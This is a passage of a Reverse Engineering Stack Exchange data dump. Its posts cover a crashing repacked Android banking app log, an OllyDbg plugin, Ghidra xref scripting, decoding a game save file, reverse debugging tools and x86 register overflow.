HardwareRenderer.sSystemRendererDisabled = false, this = ViewRoot{9143ca9 Starting com.ibsbankmobile,ident = 415}&#xA;04-02 17:15:28.731   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setConsumerName: Starting com.ibsbankmobile&#xA;04-02 17:15:28.731   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setDefaultBufferSize: width=1 height=1&#xA;04-02 17:15:28.732  2526  2587 V WindowManager: findFocusedWindow: Reached focused app=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}}&#xA;04-02 17:15:28.737  2526  3510 I ActivityManager: Start proc 3053:com.ibsbankmobile/u0a298 for activity com.ibsbankmobile/.MainActivity&#xA;04-02 17:15:28.745   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setDefaultBufferSize: width=1080 height=1920&#xA;04-02 17:15:28.752   303   436 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:2526,c:303) connect(P): api=2 producer=(2526:system_server) producerControlledByApp=false&#xA;04-02 17:15:28.753   303  1002 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:2526,c:303) new GraphicBuffer needed&#xA;04-02 17:15:28.771  2526  2798 I libPerfService: [perfNotifyAppState] foreground:com.ibsbankmobile, pid:3053&#xA;04-02 17:15:28.771  2526  1395 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:1,ActiveCount = 1&#xA;04-02 17:15:28.771  2526  1395 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:1, pid:3053, last_boost_tid:3053&#xA;04-02 17:15:28.771  2526  2798 I libPerfService: perfCheckPackAffinity foreground:com.ibsbankmobile, latest:&#xA;04-02 17:15:28.804  2526  2588 D ProcessManager: recentPackage baseActivity : com.ibsbankmobile&#xA;04-02 17:15:28.824  3053  3053 W System  : ClassLoader referenced unknown path: /data/app/com.ibsbankmobile-1/lib/arm64&#xA;04-02 17:15:28.856  2899  2899 D SystemServicesProxy: getRecentTasks:TASK = id=28124 stackId=1 user=0 lastActiveTime=1585836928771 componentComponentInfo{com.ibsbankmobile/com.ibsbankmobile.MainActivity}/isExcluded = false/includeFrontMostExcludedTask = false/isFirstValidTask = true/t.id = 28124&#xA;04-02 17:15:29.092  3053  3071 W System  : ClassLoader referenced unknown path: /data/app/com.ibsbankmobile-1/lib/arm64&#xA;04-02 17:15:29.095  3053  3071 E AndroidRuntime: Process: com.ibsbankmobile, PID: 3053&#xA;04-02 17:15:29.100  2526  1395 W ActivityManager:   Force finishing activity com.ibsbankmobile/.MainActivity&#xA;04-02 17:15:29.105  2526  1395 V WindowManager: Set focused app to: AppWindowToken{fb2d555 token=Token{ccee73f ActivityRecord{6e6b75e u0 com.transsion.hilauncher/com.android.launcher3.Launcher t27849}}} old focus=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}} moveFocusNow=true&#xA;04-02 17:15:29.112  2526  3072 D AES     : onEndOfErrorDumpThread: data_app_crash Process: com.ibsbankmobile&#xA;04-02 17:15:29.112  2526  3072 D AES     : Package: com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.114  2526  3072 D AES     :     process : com.ibsbankmobile&#xA;04-02 17:15:29.114  2526  3072 D AES     :      module : com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.116  2526  3072 D AEE_LIBAEE: shell: raise_exp(4, 3053, -1361051648, com.ibsbankmobile, 0x0x7223e196e0, 0x0x0)&#xA;04-02 17:15:29.133  3073  3073 I AEE_AED : [preset_info] pid: 3053, tid: -1361051648, name: UNKNOWN  &amp;gt;&amp;gt;&amp;gt; com.ibsbankmobile &amp;lt;&amp;lt;&amp;lt;&#xA;04-02 17:15:29.133  3073  3073 V AEE_AED : dashboard_record_update() : rec-&amp;gt;module = com.ibsbankmobile&#xA;04-02 17:15:29.150  3053  3053 D ActivityThread: EYE startEyeVerifyBroadcast packagename=com.ibsbankmobile; ClassName=com.ibsbankmobile.MainActivity&#xA;04-02 17:15:29.152  2526  3597 V ActivityManager: Broadcast: Intent { act=com.rlk.android.APPLOCK_RECEIVER flg=0x10000010 pkg=com.rlk.eyeverify.activity (has extras) } ordered=false userid=0 callerApp=ProcessRecord{9cb3bc0 3053:com.ibsbankmobile/u0a298}&#xA;04-02 17:15:29.157 18792 18792 D LOGTAG_AppLockRecieve: start activity PackageName=com.ibsbankmobile    ClassName=com.ibsbankmobile.MainActivity&#xA;04-02 17:15:29.172 18792 18792 D LOGTAG_VerifyInterceptor: start Eye check activity PackageName=com.ibsbankmobile       ;  ClassName=com.ibsbankmobile.MainActivity;  IsLocked=false&#xA;04-02 17:15:29.187  3053  3053 D OpenGLRenderer: &amp;lt;com.ibsbankmobile&amp;gt; is running.&#xA;04-02 17:15:29.189  2526  2559 D ViewRootImpl[ibsbankmobile]: hardware acceleration is enabled, this = ViewRoot{65d6111 Application Error: com.ibsbankmobile,ident = 416}&#xA;04-02 17:15:29.214  2526  2559 V WindowManager: Changing focus from null to Window{b4f2077 u0 Application Error: com.ibsbankmobile} Callers=com.android.server.wm.WindowManagerService.addWindow:2347 com.android.server.wm.Session.addToDisplay:187 android.view.ViewRootImpl.setView:753 android.view.WindowManagerGlobal.addView:355&#xA;04-02 17:15:29.215  2526  2559 D WindowManager: Input focus has changed to Window{b4f2077 u0 Application Error: com.ibsbankmobile}&#xA;04-02 17:15:29.216  2526  2587 I WindowManager: Focus moving from null to Window{b4f2077 u0 Application Error: com.ibsbankmobile}&#xA;04-02 17:15:29.216  2526  2587 I WindowManager: Gaining focus: Window{b4f2077 u0 Application Error: com.ibsbankmobile}&#xA;04-02 17:15:29.225   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setConsumerName: Application Error: com.ibsbankmobile&#xA;04-02 17:15:29.225   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setDefaultBufferSize: width=193 height=193&#xA;04-02 17:15:29.237  3053  3053 D ViewRootImpl[MainActivity]: hardware acceleration is enabled, this = ViewRoot{6a638df com.ibsbankmobile/com.ibsbankmobile.MainActivity,ident = 0}&#xA;04-02 17:15:29.238   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setDefaultBufferSize: width=1272 height=641&#xA;04-02 17:15:29.242  2526 22035 D OpenGLRenderer: CanvasContext() 0x7227d10000 initialize window=0x7235518600, title=Application Error: com.ibsbankmobile&#xA;04-02 17:15:29.252   303   436 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) connect(P): api=1 producer=(2526:system_server) producerControlledByApp=false&#xA;04-02 17:15:29.254  3053  3053 V PhoneWindow: DecorView setVisiblity: visibility = 0, Parent = ViewRoot{6a638df com.ibsbankmobile/com.ibsbankmobile.MainActivity,ident = 0}, this = DecorView@fe5f5ef[MainActivity],statusBarBackground visible =true,statusColor: 0xff757575-&amp;gt;&#xA;04-02 17:15:29.266   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed&#xA;04-02 17:15:29.277  2526  3601 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:0,ActiveCount = 0&#xA;04-02 17:15:29.277  2526  3601 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:0, pid:3053, last_boost_tid:3053&#xA;04-02 17:15:29.278  3073  3073 D AEE_AED :   Process:com.ibsbankmobile&#xA;04-02 17:15:29.278  3073  3073 I AEE_AED : com.ibsbankmobile&#xA;04-02 17:15:29.279  3073  3073 D AEE_AED :   Module:com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.279  3073  3073 I AEE_AED : com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.279  3073  3073 D AEE_AED :   Backtrace:Process: com.ibsbankmobile&#xA;04-02 17:15:29.279  3073  3073 D AEE_AED : Package: com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.282  3073  3073 I AEE_AED : Process: com.ibsbankmobile&#xA;04-02 17:15:29.282  3073  3073 I AEE_AED : Package: com.ibsbankmobile v3 (1)&#xA;04-02 17:15:29.287   303   432 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed&#xA;04-02 17:15:29.288  2526  3601 I WindowManager: Failed to capture screenshot of Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124 f}} appWin=Window{e98a1cf u0 Starting com.ibsbankmobile} drawState=4&#xA;04-02 17:15:29.311   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed&#xA;04-02 17:15:29.433  2899  2899 D SystemServicesProxy: getRecentTasks:TASK = id=28124 stackId=1 user=0 lastActiveTime=1585836929105 componentComponentInfo{com.ibsbankmobile/com.ibsbankmobile.MainActivity}/isExcluded = false/includeFrontMostExcludedTask = false/isFirstValidTask = true/t.id = -1&#xA;04-02 17:15:29.609   303  1763 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:303) disconnect(P): api -1&#xA;04-02 17:15:29.612   303  1763 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:303) getReleasedBuffers: returning mask 0xffffffffffffffff&#xA;04-02 17:15:29.613  2526  2587 I WindowManager: Destroying surface Surface(name=Starting com.ibsbankmobile) called by com.android.server.wm.WindowStateAnimator.destroySurface:2137 com.android.server.wm.WindowStateAnimator.destroySurfaceLocked:949 com.android.server.wm.WindowState.removeLocked:1470 com.android.server.wm.WindowManagerService.removeWindowInnerLocked:2708 com.android.server.wm.AppWindowToken.destroySurfaces:376 com.android.server.wm.WindowStateAnimator.finishExit:587 com.android.server.wm.AppWindowAnimator.stepAnimationLocked:435 com.android.server.wm.WindowAnimator.updateAppWindowsLocked:184&#xA;04-02 17:15:29.626   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) disconnect(C)&#xA;04-02 17:15:29.645   303  1002 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) disconnect(P): api 2&#xA;04-02 17:15:29.665  2526  3514 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:2,ActiveCount = 1&#xA;04-02 17:15:29.665  2526  3514 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:2, pid:3053, last_boost_tid:16629&#xA;04-02 17:15:29.667   303  1763 I BufferQueue: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) ~BufferQueueCore&#xA;04-02 17:15:34.750  2526  2588 I ActivityManager: Killing 3053:com.ibsbankmobile/u0a298 (adj 900): doclean&#xA;04-02 17:15:34.751  2526  2588 D ActivityManager: handleAppDiedLocked: app = ProcessRecord{9cb3bc0 3053:com.ibsbankmobile/u0a298}, app.pid = 3053&#xA;04-02 17:15:34.758  2526  1395 W ActivityManager: Ignoring remove of inactive process: ProcessRecord{9cb3bc0 0:com.ibsbankmobile/u0a298}&#xA;04-02 17:15:34.784   303   436 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) disconnect(P): api 1&#xA;04-02 17:15:34.784   303   436 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) getReleasedBuffers: returning mask 0xffffffffffffffff&#xA;04-02 17:15:34.788   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) disconnect(P): api 1&#xA;04-02 17:15:34.794  2526  2559 V WindowManager: Remove Window{b4f2077 u0 Application Error: com.ibsbankmobile} client=d7bb276, surfaceController=Surface(name=Application Error: com.ibsbankmobile) Callers=com.android.server.wm.WindowManagerService.removeWindowLocked:2522 com.android.server.wm.WindowManagerService.removeWindow:2517 com.android.server.wm.Session.remove:206 android.view.ViewRootImpl.dispatchDetachedFromWindow:3700&#xA;04-02 17:15:34.796  2526  2559 V WindowManager: Changing focus from Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING} to Window{78def60 u0 com.transsion.hilauncher/com.android.launcher3.Launcher} Callers=com.android.server.wm.WindowManagerService.setupWindowForRemoveOnExit:2503 com.android.server.wm.WindowManagerService.removeWindowLocked:2647 com.android.server.wm.WindowManagerService.removeWindowLocked:2522 com.android.server.wm.WindowManagerService.removeWindow:2517&#xA;04-02 17:15:34.807  2526  2587 I WindowManager: Focus moving from Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING} to Window{78def60 u0 com.transsion.hilauncher/com.android.launcher3.Launcher}&#xA;04-02 17:15:34.808  2526  2587 I WindowManager: Losing focus: Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING}&#xA;04-02 17:15:34.847  2526  2587 I WindowManager: Destroying surface Surface(name=Application Error: com.ibsbankmobile) called by com.android.server.wm.WindowStateAnimator.destroySurface:2137 com.android.server.wm.WindowStateAnimator.destroySurfaceLocked:949 com.android.server.wm.WindowState.destroyOrSaveSurface:2114 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacementInner:435 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacementLoop:236 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacement:184 com.android.server.wm.WindowManagerService$H.handleMessage:8481 android.os.Handler.dispatchMessage:110&#xA;04-02 17:15:34.857   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:-1) disconnect(C)&#xA;04-02 17:15:34.857   303   303 I BufferQueue: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:-1) ~BufferQueueCore&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the app in question can be found &lt;a href=&quot;https://apkcombo.com/en-so/ibs-mobile-banking/com.ibsbankmobile&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone tell or explain to me what is going wrong here? and how can I circumvent it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;any help would be appreciated&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31398" LastActivityDate="2020-04-07T18:38:40.847" Title="Android app crashes even while not edited, how can I solve it?" Tags="|disassembly|anti-debugging|patching|patch-reversing|apk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24647" PostTypeId="1" CreationDate="2020-04-07T15:46:24.323" Score="0" ViewCount="77" Body="&lt;p&gt;I wanted to write a plugin for Ollydbg 2 which shows just a simple message. I write the following one but it doesn't load in ollydbg. I am using ollydbg 2 and my DLL can't load by it. Where is the problem? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_DEPRECATE&#xA;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;&#xA;#define PLUGINNAME      L&quot;Hello World&quot;      // Unique plugin name&#xA;#define VERSION         L&quot;2.00.01&quot;          // Plugin version&#xA;HINSTANCE               hDllInstance;       // Instance of plugin DLL&#xA;static t_table          HelloWorld;         // Hello World table&#xA;&#xA;&#xA;// Menu function of main menu, opens or brings to top list of bookmarks.&#xA;static int OpenHelloWorldMessage(int mode) {&#xA;    if (mode == MENU_VERIFY)&#xA;    {&#xA;        return MENU_NORMAL;&#xA;    }&#xA;    else if (mode == MENU_EXECUTE) &#xA;    {&#xA;        MessageBox(NULL, L&quot;This is a Sample Program.&quot;, L&quot;Message&quot;, MB_OK);&#xA;        return MENU_NOREDRAW;&#xA;    }&#xA;    else&#xA;    {&#xA;        return MENU_ABSENT;&#xA;    }&#xA;};&#xA;&#xA;// Menu function of main menu, displays About dialog.&#xA;static int ShowHelloWorldAbout(int arg_mode) {&#xA;    int dwNumber;&#xA;    wchar_t wcStringProgram[TEXTLEN];&#xA;    if (arg_mode == MENU_VERIFY)&#xA;        return MENU_NORMAL;&#xA;&#xA;    else if (arg_mode == MENU_EXECUTE) {&#xA;        // Debuggee should continue execution while message box is displayed.&#xA;        Resumeallthreads();&#xA;&#xA;        dwNumber = StrcopyW(wcStringProgram, TEXTLEN, L&quot;Hello Plugin v&quot;);&#xA;        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, VERSION);&#xA;        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L&quot;\nCopyright (C) 2019-2020 lightning&quot;);&#xA;        StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L&quot;MSVC Compiler&quot;);&#xA;        MessageBox(hwollymain, wcStringProgram, L&quot;Bookmark plugin&quot;, MB_OK | MB_ICONINFORMATION);&#xA;&#xA;        Suspendallthreads();&#xA;&#xA;        return MENU_NOREDRAW;&#xA;    };&#xA;&#xA;    return MENU_ABSENT;&#xA;};&#xA;&#xA;static t_menu HelloWorldMainMenu[] = {&#xA;    { L&quot;Open Hello&quot;, L&quot;Show Hello Message&quot;, K_NONE, OpenHelloWorldMessage, NULL, 0 },&#xA;    { L&quot;|About&quot;, L&quot;About Hello Plugin&quot;, K_NONE, ShowHelloWorldAbout, NULL, 0 },&#xA;    { NULL, NULL, K_NONE, NULL, NULL, 0 }&#xA;};&#xA;&#xA;&#xA;extc t_menu* __cdecl ODBG2_PluginMenu(wchar_t* type) {&#xA;&#xA;    if (wcscmp(type, PWM_MAIN) == 0)&#xA;        return HelloWorldMainMenu;&#xA;&#xA;    return NULL;&#xA;};&#xA;&#xA;static t_menu HelloWorldMenu[] = {&#xA;    { L&quot;|&amp;gt;STANDARD&quot;, L&quot;&quot;, K_NONE, NULL, NULL, 0}&#xA;};&#xA;&#xA;BOOL WINAPI DllEntryPoint(HINSTANCE hi, DWORD reason, LPVOID reserved) {&#xA;    if (reason == DLL_PROCESS_ATTACH)&#xA;        hDllInstance = hi;          // Mark plugin instance&#xA;    return 1;                       // Report success&#xA;};&#xA;&#xA;extc int __cdecl ODBG2_Pluginquery(int arg_olly_version, ulong* arg_features, wchar_t arg_plugin_name[SHORTNAME], wchar_t arg_plugin_version[SHORTNAME]) {&#xA;    if (arg_olly_version &amp;lt; 201)&#xA;        return 0;&#xA;                                                    // Report name and version to OllyDbg.&#xA;    wcscpy(arg_plugin_name, PLUGINNAME);            // Name of plugin&#xA;    wcscpy(arg_plugin_version, VERSION);            // Version of plugin&#xA;    return PLUGIN_VERSION;                          // Expected API version&#xA;};&#xA;&#xA;&#xA;extc int __cdecl ODBG2_Plugininit(void) &#xA;{&#xA;    OpenHelloWorldMessage(MENU_EXECUTE);&#xA;&#xA;    return 0;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted when it gets load show a message but it doesn't work. &lt;/p&gt;&#xA;" OwnerUserId="32690" LastEditorUserId="32690" LastEditDate="2020-04-07T21:14:43.943" LastActivityDate="2020-04-07T21:14:43.943" Title="Develop a Hello World plugin for Ollydbg" Tags="|ollydbg|c|dll|plugin|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24648" PostTypeId="2" ParentId="24646" CreationDate="2020-04-07T18:38:40.847" Score="2" Body="&lt;pre&gt;&lt;code&gt;W System  : ClassLoader referenced unknown path: /data/app/com.ibsbankmobile-1/lib/arm64&#xA;&#xA;E AndroidRuntime: Process: com.ibsbankmobile, PID: 3053&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The warning here shows that you have a missing path: &lt;code&gt;/data/app/.../lib/arm64&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This directory contains binary (compiled) libraries that belong to the app. If you repack an app, whether you changed its code or not, you have to make sure that you pack, and sign, these files.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-07T18:38:40.847" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24649" PostTypeId="2" ParentId="24634" CreationDate="2020-04-07T22:13:03.523" Score="1" Body="&lt;p&gt;You need to pass the path to the device files directory using the &lt;code&gt;-L&lt;/code&gt; switch&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-07T22:13:03.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24650" PostTypeId="1" AcceptedAnswerId="24657" CreationDate="2020-04-08T08:04:09.647" Score="1" ViewCount="3933" Body="&lt;p&gt;What is the best way to get calling x-refs for a specific function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the following method: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func = getFirstFunction()&#xA;&#xA;while func is not None:&#xA;    func_name = func.getName()&#xA;    if func_name == &amp;lt;my_func&amp;gt;:&#xA;        entry_point = func.getEntryPoint()&#xA;        references = getReferencesTo(entry_point)&#xA;&#xA;func = getFunctionAfter(func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that without iterating through all the functions? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-04-08T19:03:54.377" Title="Ghidra Python - Get x-refs of a specific function" Tags="|python|ghidra|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24651" PostTypeId="1" CreationDate="2020-04-08T08:11:05.323" Score="-1" ViewCount="359" Body="&lt;p&gt;I have a .plr file that contains all of the player information for the game Terarria.&#xA;I would like to decode it to have a look at what data is stored on this file so that I can play around with making edits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the file in a text editor, it appears as such: &lt;a href=&quot;https://pastebin.com/x19Triv1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/x19Triv1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had hoped that converting this file to binary and then converting the binary to text would work, but it just converts it back into garbage characters.&#xA;Here is the binary: &lt;a href=&quot;https://pastebin.com/uX2p5kGr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/uX2p5kGr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to go about decoding this file will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="32702" LastActivityDate="2020-04-09T14:36:29.197" Title="How to decode a .plr file" Tags="|file-format|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24652" PostTypeId="2" ParentId="2500" CreationDate="2020-04-08T10:14:09.653" Score="2" Body="&lt;p&gt;&lt;strong&gt;Mozilla rr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the closed source Undo mentioned at &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2503/12321&quot;&gt;https://reverseengineering.stackexchange.com/a/2503/12321&lt;/a&gt; , we now also have an amazing open source working implementation: &lt;a href=&quot;https://github.com/mozilla/rr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mozilla/rr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have given a minimal runnable example of it at: &lt;a href=&quot;https://stackoverflow.com/questions/1206872/how-to-go-to-the-previous-line-in-gdb/46996380#46996380&quot;&gt;https://stackoverflow.com/questions/1206872/how-to-go-to-the-previous-line-in-gdb/46996380#46996380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As seen in that example, you first record, and then replay, and the replay makes every non-deterministic event (e.g. thread switch timings, random number generation) deterministic to match the previous run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One huge advantage of that is that it allows you to step back in time, which is extremely often what you want to do when debugging applications, to go from crash back to the real cause that happened in the past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QEMU reverse debugging&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the userland reverse debugging which uses hardware and Linux kernel features, simulators can also implement a reverse debugging of course since they control everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, QEMU has had a reverse debugging mode which allows for this: It is not necessarily &quot;replay based&quot;, but it achieves the same thing: you can step back in time. The cool thing about doing it in an emulator, is that you can also reverse &lt;a href=&quot;https://stackoverflow.com/a/44226360/895245&quot;&gt;step debug the Linux kernel itself&lt;/a&gt; if you are developing it on QEMU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://stackoverflow.com/questions/29153178/is-it-possible-to-do-reverse-debugging-with-qemu/46499855#46499855&quot;&gt;https://stackoverflow.com/questions/29153178/is-it-possible-to-do-reverse-debugging-with-qemu/46499855#46499855&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12321" LastEditorUserId="12321" LastEditDate="2020-04-10T08:03:02.107" LastActivityDate="2020-04-10T08:03:02.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24654" PostTypeId="2" ParentId="24650" CreationDate="2020-04-08T14:25:43.467" Score="1" Body="&lt;p&gt;I don't think there is a method that filters functions by name, but you can write the above a bit more concise with lambdas and a bit more functional approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fm = currentProgram.getFunctionManager()&#xA;funcs = fm.getFunctions(True)&#xA;filtered_funcs = filter(lambda f: f.getName() == '&amp;lt;your function name&amp;gt;', funcs)&#xA;x_refs = map(lambda f: getReferencesTo(f.getEntryPoint()), filtered_funcs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could even fold them more but (probably) hurting the readability.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-04-08T14:25:43.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24655" PostTypeId="2" ParentId="24650" CreationDate="2020-04-08T15:20:15.747" Score="0" Body="&lt;p&gt;This is possible via the Symbol Table:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sym = currentProgram.symbolTable.getSymbol(func_name)&#xA;&#xA;func = currentProgram.functionManager.getFunction(sym.key)&#xA;# the following should be equivalent&#xA;func = currentProgram.functionManager.getFunctionAt(sym.address)&#xA;&#xA;refs = getReferencesTo(func.entryPoint)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Symbols in this case are the Ghidra Function symbols, not the kind of symbols which might be contained in binary, but could be stripped.&#xA;It works with names like &lt;code&gt;FUN_100008628&lt;/code&gt;, &lt;code&gt;entry&lt;/code&gt;, or any function you renamed.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-04-08T19:03:54.377" LastActivityDate="2020-04-08T19:03:54.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24656" PostTypeId="1" AcceptedAnswerId="24680" CreationDate="2020-04-08T15:52:26.083" Score="1" ViewCount="258" Body="&lt;p&gt;I am looking at some assembly code and can't get my head around it. The code below is shown in IDA. My question revolves on what happens in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain what I exactly don't understand in the loop: Above the little loop &lt;code&gt;eax&lt;/code&gt; is set to be &lt;code&gt;FFFFFFFFh&lt;/code&gt;, which is basically &quot;1&quot; in all the 32 bits in &lt;code&gt;eax&lt;/code&gt;(?). In the little loop &lt;code&gt;eax&lt;/code&gt; is incremented. But &lt;code&gt;eax&lt;/code&gt; is at max value? What happens when I increment &lt;code&gt;eax&lt;/code&gt;? Will it go back to 0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nvjpq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nvjpq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31468" LastEditorUserId="60" LastEditDate="2020-04-11T12:12:53.223" LastActivityDate="2020-04-11T12:12:53.223" Title="increment a register which has maximal value?" Tags="|ida|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
